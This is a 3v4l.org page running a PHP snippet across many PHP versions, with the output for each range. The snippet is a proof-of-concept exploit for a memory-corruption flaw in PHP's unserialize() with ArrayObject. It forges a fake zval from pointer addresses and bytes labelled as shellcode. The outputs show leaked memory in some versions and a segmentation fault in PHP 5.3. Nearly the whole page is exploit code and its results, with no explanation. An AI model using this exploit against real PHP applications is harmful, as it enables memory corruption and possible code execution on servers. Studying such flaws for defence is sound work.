3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $fakezval = ptr2str(1234567); $fakezval .= ptr2str(0xdfcb70+4-0xb8); //pointer address hardadir? $fakezval .= "\x46\x45\x01\x01"; $fakezval .= "\x05";//shellcode hardadi? $fakezval .= "\x23";//shellcode hardadi? $fakezval .= "\x63";//shellcode hardadi? $fakezval .= "\x00\x00\x00\x00\x00"; //$fakezval .= "\xbe\xf8\x52"; $fakezval.= ""; $inner = 'x:i:1234;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>
based on N5NQ1
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.35, 5.6.12 - 7.2.0
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> int(1234) }
Output for 5.4.0 - 5.4.43, 5.5.24 - 5.5.27, 5.6.8 - 5.6.11
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> string(29) "�����FE#c1" }
Output for 5.3.0 - 5.3.29
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=>
Process exited with code 139.
Output for 5.1.0 - 5.2.17
Warning: Class ArrayObject has no unserializer in /in/CESW1 on line 16 Notice: unserialize(): Error at offset 26 of 66 bytes in /in/CESW1 on line 16 bool(false)
Output for 4.3.2 - 5.0.5
Notice: unserialize(): Error at offset 9 of 66 bytes in /in/CESW1 on line 16 bool(false)
Output for 4.3.0 - 4.3.1
Notice: unserialize() [http://www.php.net/function.unserialize]: Error at offset 9 of 66 bytes in /in/CESW1 on line 16 bool(false)